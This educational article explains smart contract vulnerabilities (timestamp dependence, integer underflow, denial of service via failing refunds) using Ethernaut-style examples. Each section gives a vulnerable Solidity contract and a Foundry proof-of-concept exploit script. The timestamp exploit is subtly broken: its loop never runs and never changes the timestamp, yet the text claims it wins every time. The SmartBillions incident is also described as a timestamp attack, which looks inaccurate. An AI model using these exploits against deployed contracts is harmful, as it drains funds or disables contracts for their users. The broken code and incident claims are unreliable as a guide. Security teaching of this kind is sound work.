
In this article, I aim to introduce the major vulnerabilities that can occur in smart contracts, as discovered through completing the Ethernaut wargame created by OpenZeppelin. Please note that this article is not a write-up of the Ethernaut challenges but an academic exploration of security vulnerabilities in smart contracts.
Security in blockchain is a critical issue. Once a transaction is confirmed and added to the network as a block, it cannot be deleted. This is why numerous smart contracts, even those that have already been audited, are continuously listed on bug bounty platforms like Immunefi and HackerOne for ongoing security improvements.

Immunefi Explore Bounties
I developed an interest in smart contract bug hunting and decided to study security vulnerabilities that can occur in smart contracts. To facilitate my learning, I worked through the challenges on Ethernaut, a wargame site created by OpenZeppelin.
Even after completing all the Ethernaut challenges, I continued to solve them repeatedly to deepen my understanding of various Solidity frameworks. Furthermore, I created a GitHub repository containing write-up code for all the challenges. Those who need references for their solutions may find it helpful to visit the repository.

Github Repository
As those who have researched security vulnerabilities in smart contracts may know, most real-world attack vectors stem from logical bugs. However, these types of vulnerabilities can manifest in vastly different ways depending on the specific smart contract.
Therefore, in this article, I aim to introduce the major attack vectors that exclude the logical bugs I encountered while solving the Ethernaut challenges.
Block Timestamp Manipulation is a vulnerability that occurs when the logic of a smart contract relies on the block’s timestamp.
In blockchain, each block has a timestamp indicating when it was mined. This timestamp is crucial for determining the order and execution of transactions, ensuring that the smart contract functions correctly. Block Timestamp Manipulation refers to altering the block’s timestamp to gain an advantage or exploit a vulnerability in the smart contract.
Below is a smart contract code that contains a Block Timestamp Manipulation attack vector:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Roulette {
function spin() public payable returns (uint256) {
require(msg.value == 1 ether, "Not Enough");
uint256 amount;
if (block.timestamp % 3 == 0) {
amount = msg.value * 2;
payable(msg.sender).transfer(amount);
return amount;
}
amount = 0;
return amount;
}
}
The spin function within the Roulette contract operates as follows:
spin function checks if it has received an amount equivalent to 1 ether.block.timestamp.However, this design is vulnerable to Block Timestamp Manipulation. If an attacker manipulates the block.timestamp, they can always win in the spin function.
Below is an example of the exploit code leveraging the Block Timestamp Manipulation attack vector:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/roulette.sol";
contract POC is Script {
Roulette public target;
address public hacker;
function setUp() external {
hacker = vm.addr(0x12345678);
target = new Roulette();
vm.deal(address(hacker), 1 ether);
vm.deal(address(target), 10 ether);
}
function run() external {
vm.startPrank(hacker);
uint256 hacker_balance = address(hacker).balance;
uint256 target_balance = address(target).balance;
console.log("before hacker balance: ", hacker_balance);
console.log("before target balance: ", target_balance);
for (uint256 i = 0; i < 10; i++) {
uint256 pastTimestamp;
while (pastTimestamp % 3 != 0) {
pastTimestamp = block.timestamp;
}
target.spin{ value: 1 ether }();
}
hacker_balance = address(hacker).balance;
target_balance = address(target).balance;
console.log("after hacker balance: ", hacker_balance);
console.log("after target balance: ", target_balance);
}
}

Attack Transaction
When executing the exploit code, despite setting the pseudo-random number arbitrarily, the value of block.timestamp can be manipulated, allowing for continuous wins.

Attack Result
Lottery SmartBillions Exploit (2017): On October 4, 2017, SmartBillions hosted a hackathon to eliminate security risks in their smart contract before their ICO began. During this event, an attacker used the Block Timestamp Manipulation attack vector on the lottery contract, draining 400 ETH (worth $120,000).
block.timestamp by default.block.timestamp value must be greater than the parent block's block.timestamp. Ethereum protocols like Geth and Parity reject blocks with timestamps more than 15 seconds into the future.
reference: Consensys Timestamp Dependence docs (https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/timestamp-dependence/)
If the time scale of an event that changes with time can vary within about 15 seconds and still maintain integrity, then using block.timestamp can be considered safe.
Integer Overflow / Underflow vulnerabilities occur when arithmetic operations attempt to create values that exceed the range that can be stored within the allocated bit-width. In Solidity, arithmetic is commonly performed using unsigned integer types (e.g., uint256, uint160, uint). If, during an arithmetic operation, the result turns into a negative value, it wraps around to a large value suitable for the unsigned integer type (Underflow). Conversely, if the value exceeds the maximum value that can be represented by the bit-width, it wraps around to zero and continues from there, resulting in a small value (Overflow).
Below is a smart contract code that contains an Integer Overflow / Underflow attack vector:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Bank {
mapping (address => uint256) balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 _amount) public {
require(balances[msg.sender] - _amount > 0);
balances[msg.sender] -= _amount;
payable(msg.sender).transfer(_amount);
}
function balanceOf(address _account) public view returns(uint256) {
return balances[_account];
}
}
The Bank contract contains the following three functions:
balances mapping.balances mapping for the user. If it does, it decreases the balance by the requested amount and transfers the specified amount to the user.However, the withdraw function contains an Integer Underflow attack vector. If no deposit is made and 1 is passed as a parameter when calling the withdraw function, an Integer Underflow will occur.
Below is the exploit code that triggers the Integer Underflow attack vector:
// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.0 < 0.9.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/Bank.sol";
contract POC is Script {
Bank public target;
address public hacker;
function setUp() external {
hacker = vm.addr(0x12345678);
target = new Bank();
vm.deal(hacker, 1 ether);
vm.deal(address(target), 1 ether);
}
function run() external {
vm.startPrank(hacker);
uint256 balance = target.balanceOf(hacker);
console.log("before balance: ", balance);
target.withdraw(1);
balance = target.balanceOf(hacker);
console.log("after balance: ", balance);
}
}
If this code is executed, an underflow will occur, changing the mapping value to the maximum value of uint256, which is 1157920892373161954235709850086879078532699846656405640394575840079 13129639935 ((2²⁵⁶) — 1).

Exploit Result
BeautyChain (BEC) Token Attack (2018): Attackers exploited an Overflow vulnerability in the batchTransfer function, causing abnormal fluctuations in the BEC token. The hacker drained a large amount of BEC tokens, leading to a sharp market price drop.

In the real world, most smart contracts indeed use Solidity version 0.8.0 or higher, which leads many bug hunters to overlook these vulnerabilities. However, this is a mistake.
There are still several cases where integer overflow or underflow can be triggered, even in version 0.8.0.
One prominent example is the use of the unchecked function. This function was introduced for gas fee optimization and appears quite frequently in real-world applications. If an attack vector exists within this function, it can be triggered, so it should be carefully examined.
Denial-of-Service (DoS) vulnerabilities are those that can impair the functionality of a smart contract. These vulnerabilities are not limited to the Web3 ecosystem; they continue to be prevalent in websites, games, networks, and various other fields.
Meanwhile, DoS attacks in the Web3 ecosystem differ from the general DoS attacks we are familiar with.

reference: akamai (https://www.akamai.com/ko/glossary/what-are-syn-flood-ddos-attacks)
The DoS attacks we were previously familiar with involved overwhelming the network’s traffic to impair the service’s functionality. This could be done by sending repetitive requests or causing multiple TCP connection delays, such as with SYN flooding.

reference: ledger academy (https://www.ledger.com/academy/blockchain/what-is-proof-of-work)
However, blockchain is fundamentally designed to prevent such DoS attacks by ensuring that only verified blocks are confirmed for each request (transaction, block) through proof mechanisms. Therefore, DoS attacks in the Web3 ecosystem are based on exploiting the logic within smart contracts.
Below is the code for the famous “KingOfEther” contract, which contains a Denial-of-Service (DoS) vulnerability:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract KingOfEther {
address public king;
uint public balance;
function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");
(bool sent, ) = king.call{value: balance}("");
require(sent, "Failed to send Ether");
balance = msg.value;
king = msg.sender;
}
}
The claimThrone function in the KingOfEther contract works as follows:
balance.balance to the current king.balance.However, this code has a vulnerability where if the caller’s contract does not accept Ether or enters an infinite loop in the fallback function, it can trigger a Denial-of-Service (DoS) vulnerability.
Below is the explanation of the exploit scenario:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/Kingether.sol";
contract Attacker {
function dos(address _target) external payable {
KingOfEther(_target).claimThrone{ value: msg.value }();
}
}
contract Victim {
function claimThrone(address _target) external payable {
KingOfEther(_target).claimThrone{ value: msg.value }();
}
}
contract POC is Script {
KingOfEther public target;
Attacker public attacker;
Victim public victim;
address public hacker;
function setUp() external {
hacker = vm.addr(0x12345678);
target = new KingOfEther();
attacker = new Attacker();
victim = new Victim();
vm.deal(hacker, 2.1 ether);
}
function run() external {
vm.startPrank(hacker);
attacker.dos{ value: 1 ether }(address(target));
victim.claimThrone{ value: 1.1 ether }(address(target));
}
}

Attack Transaction
Analyzing the attack transaction reveals that the Attacker contract does not implement a fallback function, causing the transaction to revert each time Ether is sent. This prevents the transaction from being confirmed, thereby triggering a DoS attack.
When the KingOfEther contract is affected by a triggered DoS attack, it becomes non-functional, causing significant disruption to the system’s operation.
Another method is to implement an infinite loop in the fallback function, as described below.
contract Attacker {
function dos(address _target) external payable {
KingOfEther(_target).claimThrone{ value: msg.value }();
}
fallback() external payable { }
receive() external payable { while(true) { } }
}

Attack Transaction
If the gas limit is set to 300,000,000 and the exploit code is executed, you will see a message indicating “OutOfGas,” meaning the gas has been exhausted.
This vector is one of the most commonly encountered cases in real-world bug hunting, so it is crucial to apply secure coding practices attentively.